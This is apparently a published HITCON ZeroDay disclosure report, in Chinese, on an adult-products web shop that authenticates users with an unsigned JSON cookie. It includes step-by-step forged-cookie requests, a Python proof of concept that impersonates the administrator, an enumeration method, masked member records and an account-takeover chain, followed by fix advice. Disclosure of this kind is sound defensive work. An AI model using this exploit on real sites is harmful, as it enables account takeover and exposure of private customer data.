情趣用品界第一把交椅 E大 未簽章 Cookie 身份驗證導致任意帳號接管(IDOR) - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00325
  •  發信 Vendor: 情趣用品界第一把交椅
  • Title: 情趣用品界第一把交椅 E大 未簽章 Cookie 身份驗證導致任意帳號接管(IDOR)
  • Introduction: 網站使用未經簽章的明文 JSON Cookie 進行身份驗證,攻擊者可偽造 Cookie 中的使用者 ID 存取並修改任意會員個資。
  • 獎勵金

處理狀態

目前狀態

公開
Last Update : 2026/04/04
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/03/11 23:51:10 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/12 00:09:54 : 新提交 (由 Marco 更新此狀態)
  • 2026/03/13 16:48:14 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/13 17:13:26 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/13 17:13:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/13 17:13:26 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/25 17:01:24 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/03/25 17:42:47 : 確認已修補 (由 Marco 更新此狀態)
  • 2026/03/25 19:19:50 : 複測申請中 (由 組織帳號 更新此狀態)
  • 2026/04/01 01:04:31 : 確認已修補 (由 Marco 更新此狀態)
  • 2026/04/04 03:00:27 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00325
  • 通報者:mlgzackfly (Marco)
  • 風險:嚴重
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

https://erotogenic.com.tw/login_sure.php
https://erotogenic.com.tw/user01.php
https://erotogenic.com.tw/user01_sure.php
https://erotogenic.com.tw/emailc.php
https://erotogenic.com.tw/passc.php

敘述

漏洞說明

網站登入成功後,伺服器設定名為 auth 的 Cookie,內容為未加密、未簽章的明文 JSON,包含使用者身份識別欄位 rid。伺服器直接信任此 Cookie 的 rid 值進行授權,未做任何伺服器端驗證。

攻擊者僅需使用瀏覽器開發者工具修改 Cookie 中的 rid,即可冒充任意會員(包含管理員),讀取及修改其個人資料。

Cookie 結構

登入後取得的 auth Cookie(URL decode 後):

{
  "rid": "29183",
  "name": "黃昱翔",
  "confirm_yn": "1",
  "nickname": "H4CK",
  "email": "[email protected]",
  "line_user_id": null,
  "bonus": "0",
  "address": null,
  "phone": null
}

此 Cookie 無 HMAC 簽章、無加密,可任意竄改。

重現步驟

步驟一:正常登入取得合法 Cookie(帳號僅測試用)

POST /login_sure.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

[email protected]&[email protected]

伺服器回應 Set-Cookie: auth={"rid":"29183",...}

步驟二:偽造 Cookie

使用瀏覽器 DevTools(F12 → Application → Cookies),將 auth Cookie 的值改為:

{"rid":"1","name":"test","confirm_yn":"1","nickname":"test","email":"[email protected]","line_user_id":null,"bonus":"0","address":null,"phone":null}

其中 rid29183(自己)改為 1(管理員)。

步驟三:存取會員資料頁

重新載入 https://erotogenic.com.tw/user01.php,頁面回傳 rid=1 管理員的真實資料

圖片

Python PoC:

import requests, json
s = requests.Session()
# 正常登入
s.post('https://erotogenic.com.tw/login_sure.php',
    data={'email':'[email protected]','pw':'[email protected]'}, verify=False)
# 偽造 Cookie
forged = json.dumps({"rid":"1","name":"test","confirm_yn":"1","nickname":"test",
    "email":"[email protected]","line_user_id":None,"bonus":"0","address":None,"phone":None})
s.cookies.set('auth', forged, domain='erotogenic.com.tw')
# 存取管理員資料
r = s.get('https://erotogenic.com.tw/user01.php', verify=False)
# 頁面回傳管理員真實姓名「劉*萍」與暱稱「牛*瓶」

影響範圍

一、讀取任意使用者個資(IDOR Read)

透過遍歷 rid 值(1 ~ 29183+),可讀取全站會員的真實姓名、暱稱、Email:

rid 姓名 暱稱 Email
1 劉*萍 牛*瓶 k**[email protected]
2 洪*程 e大 e**[email protected]
4 賴*舟 E*k 0**[email protected]
5 賴*婷 L*i l**[email protected]
6 溫*瀚 翻*魚 h**[email protected]
7 吳*穎 L*E e***[email protected]
8 林*憲 L** m**[email protected]
9 張*甯 e*n k**[email protected]
10 吳*瑩 吳** j**[email protected]

(以上僅為抽樣,全站會員均受影響)

圖片

二、修改任意使用者資料(IDOR Write)

偽造 Cookie 後,透過 POST /user01_sure.php 可修改目標使用者的姓名與暱稱。

已驗證:成功將測試帳號暱稱從 "H4CK" 改為 "H4CK_test"(已還原)。

三、可存取的頁面

頁面 功能 洩露資訊
/user01.php 資料維護 姓名、暱稱、Email
/user02.php 購買記錄 訂單資料
/user03.php 紅利明細 紅利點數
/desire.php 願望清單 收藏商品
/emailc.php Email 變更 當前 Email
/passc.php 密碼變更 需舊密碼(但可搭配 emailc 繞過)

四、潛在帳號接管路徑

  1. 偽造 Cookie → 存取 /emailc.php → 將目標帳號 Email 改為攻擊者 Email
  2. 使用「忘記密碼」功能 → 重設密碼連結寄到攻擊者信箱
  3. 完成帳號完全接管

修補建議

1. **最佳方案(強烈建議):** 改用 PHP 原生 Session 機制(`$_SESSION`),登入後僅在 Cookie 中存放 Session ID,使用者身份資訊儲存在伺服器端
2. **次要方案:** 若必須使用 Cookie 儲存身份資訊,對 Cookie 內容附加 HMAC 簽章:
```php
$data = json_encode($user_info);
$signature = hash_hmac('sha256', $data, $secret_key);
setcookie('auth', $data . '.' . $signature);
```
伺服器端驗證簽章後才信任 Cookie 內容
3. 所有涉及使用者資料的查詢/修改操作,必須從伺服器端 Session 取得使用者 ID,不可信任客戶端傳入的任何值

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;